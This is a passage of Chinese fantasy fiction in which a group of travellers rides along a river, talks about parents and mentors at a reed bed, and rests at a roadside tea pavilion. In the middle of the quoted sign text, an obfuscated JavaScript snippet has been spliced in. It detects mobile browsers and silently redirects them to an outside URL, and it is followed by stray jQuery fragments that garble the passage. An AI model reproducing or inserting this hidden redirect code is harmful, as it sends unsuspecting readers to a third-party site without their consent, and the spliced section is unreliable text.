从白水渡往南，官道沿着白水河的东岸延伸。河水在右手边流淌，水面比青河宽了一倍不止，流得也慢，几乎看不出在动。只有盯着河面上某一片漂着的落叶看很久，才能发现它确实在往下游移动——很慢，但确实在动。
流栖灯骑在穗子背上数河面上的船。有渔船，有货船，有渡船。渔船是小划子，一个人坐在船尾摇着桨，船头上蹲着几只鱼鹰。鱼鹰的脖子被细绳扎着，捕了鱼吞不下去，渔人把鱼从它们嘴里掏出来扔进船舱里。货船是平底方头的大船，吃水深，船舷几乎压到水面，满载着粮食和布匹和陶器往下游去。撑船的竹篙从船头一直撑到船尾，篙头点在河底，篙身弯成一张弓。渡船和青河上的一样，木船暗红色漆，在两岸之间来回摆渡。
阿灰的蹄声在官道上不紧不慢地响着。它从白水渡出来之后步子就稳下来了，不急着往前赶，也不拖在后面。穗子和它并排走着，两匹马的肩有时碰到一起又分开。长腿跟在后面，红栎走在最后，笼头上的铜铃随着步子有节奏地响着——叮，叮，叮，隔几步响一声。
玛丽玛丽骑在阿灰背上，手松松地搭着缰绳。从离开白水渡，她的话就很少。她心里转着事情。流栖灯看了她几眼没有问。
中午她们在河湾处的一片芦苇滩上歇脚。芦苇已经枯了，芦花是银白色的，在风里摇着，像满滩的旧棉絮。苇秆被风刮得沙沙响，那声音干燥而绵密。格蕾塔把马拴在苇秆上，从鞍袋里拿出桑落村长的霜打萝卜。萝卜在鞍袋里放了两天，表皮有点皱了，但掰开来里面还是水灵灵的，甜，凉，带着泥土的清气。她把萝卜掰成四块分给各人。流栖灯接过自己那块咬了一口，嚼得咯吱咯吱响。
玛丽玛丽接过萝卜，没有马上吃。她坐在芦苇滩边的一块石头上，萝卜搁在膝盖上，看着白水河的河面。河面上有一条货船正在往上行驶，船帆吃满了风鼓得满满的，帆布是灰白色的，补了好几块深浅不一的补丁。船工在船尾摇着橹，橹片在水下左-右-摆-动，船头劈开水面，浪花从船头两侧分开去。
“从帝都出发的时候，我母亲给了我一张纸条。”她说。声音不大，混在芦苇的沙沙声里。
流栖灯嚼萝卜的动作停了一下。
“纸条上写着北境沿途驿站名录，红圈标注者可靠，其余酌情。”玛丽玛丽把萝卜掰下一小块放进嘴里慢慢嚼。“她把纸条折得很小，夹在地图里。我出发之后才看到的。她在纸条上只写了这两行字。没有‘路上小心’，没有‘早点回来’。”
格蕾塔坐在另一块石头上，手里拿着萝卜没有吃。“你在想她为什么不写。”
“我在想她写了什么。”玛丽玛丽把嘴里的萝卜咽下去。“北境沿途驿站名录。她把每一个她认为可靠的驿站都用红圈标注了。那张名录她是什么时候做的，从哪里找来的，花了多少时间核对，我全都不知道。她从来没有跟我说过。只是在出发之前把纸条折好放进布袋里，和二十枚金币放在一起。”
芦苇在风里摇着，芦花飘起来又落下去。有一朵芦花落在玛丽玛丽膝盖上，她没有拂掉。
“在法术塔的时候，我每天写法术记录。写了十一年。她每一篇都看，有时候在边上批注。批注从来不写‘好’或者‘不好’，只写技术判断。‘第三节点魔力分配偏高’，‘湿度系数未考虑’。十一年，每一篇都批。”她把落在膝盖上的芦花拈起来，芦花在指间轻得像没有重量。“我以为她只把我当徒子。不是女儿。”
流栖灯把手里的萝卜放在膝盖上。“现在呢。”
“现在——”玛丽玛丽把芦花松开，风把它带走，飘向河面。“现在我也不知道。那张纸条还在我口袋里。折得很小。我没有把它扔掉。也没有把它还给她的打算。我只是不知道。”
格蕾塔咬了一口萝卜，嚼完了才说话。“不知道就不要急着知道。有的东西要等很久才能看清。我在南部神殿的时候，主教对我很严。每天天不亮起来念经文，念错了罚抄十遍。我以为她不喜欢我。离开南部的前一晚，她把我叫到她的屋里，给了我一把铜钥匙。说是神殿后山藏经阁的钥匙。她说，你以后走到哪里，遇到解不开的事，就回来。藏经阁里的书，你自己看。”她把萝卜最后一块放进嘴里。“那把钥匙我现在还带着。我也不知道我什么时候会回去。但带着钥匙，就知道有地方可以回。”
玛丽玛丽把手伸-进口袋。灰蓝色缎面布袋在里面，缎面磨毛了，系绳起了球。袋子里装着海瑟的银叶草叶子，干透了。她摸到袋子的系绳，没有拉出来。只是摸了摸。
流栖灯从口袋里拿出白麻布。在芦苇滩这一页画了河面上的货船，船帆上深浅不一的补丁。
她画完把炭条收起来。玛丽玛丽看了一眼布上的画，没有说画得像不像。但嘴角动了一下，很短，像河面上的船帆被风鼓了一下又落回去。
下午官道离开了河岸，拐进一片低矮的丘陵。丘陵上种满了茶树。茶树有一人多高，枝条交错在一起，人走进去得侧着身子。茶叶在初冬还没有落尽，老叶子是深绿色的，边缘带着锈红色的冻伤。茶山之间是窄窄的石板路，石板被无数双脚踩得光滑，缝隙里长着青苔。青苔是鲜绿色的——南边的冬天不冷，青苔照旧长。
阿灰的蹄子在石板上踩出清脆的声响。穗子跟在后面，长腿和红栎并排走着，四匹马的蹄声在茶山之间回荡。
石板路尽头是一座茶亭。茶亭是木柱茅顶的，四面通透没有墙，亭子里摆着几条长凳和一张石桌。石桌上放着一只陶罐，罐口盖着木盖。亭柱上挂着一块木牌，上面写着：“过往行人，自取茶水。不收钱。喝完把碗放回原处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622470|203862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。”
亭子里没有人。但陶罐里有茶，石桌上扣着几只粗陶碗。茶是凉的，不知道是什么时候泡的，但颜色还是淡绿的，没有坏。格蕾塔拿起一只碗从陶罐里舀了一碗，喝了一口。茶凉透了，但甜。霜打过的秋茶的甜。
“谁放在这里的。”流栖灯也舀了一碗喝。
“住在附近的人。”格蕾塔把碗放下。“南部的山路上也有很多这样的茶亭。住在山下的人，早上上山的时候烧一壶茶带上，放在亭子里。过路的人喝了，把碗放回去。下一个人来了还有得喝。”
流栖灯喝完碗里的茶，把碗扣回石桌上。碗底在石面上发出清脆的一声响。她从口袋里拿出白麻布，在茶亭这一页画了石桌上的陶罐和扣着的粗陶碗。
艾莉西亚站在茶亭边上看着满山的茶树。她从那本在集市上买的农书里拿出夹着的桑枝。桑枝在书页里压了两天，枝条上的芽点还是硬的褐色的，紧贴着枝皮。她看了看桑枝，又看了看满山的茶树。
“茶农说，秋梢不剪，春芽不发。”她把桑枝放回书里。“桑树要剪，茶树也要剪。但剪的方法不一样。桑树是冬天剪，茶树是春天剪。师母说，知道什么时候该剪，比知道怎么剪更重要。”
流栖灯把茶碗在石桌上摆正。“那什么时候该剪。”
“看它什么时候睡觉。”艾莉西亚把农书合上。“桑树冬天睡觉，冬天剪。茶树春天睡觉——春天把力气全用在发芽上，没工夫管伤口。所以春天剪，伤口好得快。每种树睡觉的时候不一样，剪的时候就不一样。”
格蕾塔把陶罐的木盖盖好。“人也一样。有的人冬天睡觉，有的人春天睡觉。叫醒一个正在睡觉的人，比帮一个醒着的人更费力。费力还不讨好。”
艾莉西亚把农书放回布袋里。布袋里有法术书，有农书，有集市上买的草果，有桑落村的桑枝。她背着这些走了很远的路。
玛丽玛丽从茶亭的另一侧走回来。她刚才沿着石板路往下走了一段，去看路边的茶树。手里掐着一片老茶叶子，叶子边缘冻伤了，锈红色的。她把叶子放在石桌上。
“从帝都出发的时候，我以为这趟路是往封印去的。到了封印，做该做的事，做完往回走。路上遇到的人，遇到的事，都是路上的。不是目的地。”她看着那片冻伤的茶叶。“现在我觉得，路上遇到的才是目的地。封印只是一站。和绿溪镇一样，和哨站一样，和渡口一样。一站，然后下一站。”
流栖灯把石桌上那片冻伤的茶叶拿起来夹进白麻布里。“那帝都呢。帝都是最后一站，还是第一站。”
玛丽玛丽没有回答。茶亭外面的茶山在初冬的风里沙沙地响着，深绿色的老叶和锈红色的冻伤交错在一起。远处的山坳里有炊烟升起来，青灰色的，直直地升上去散进灰白色的天光里。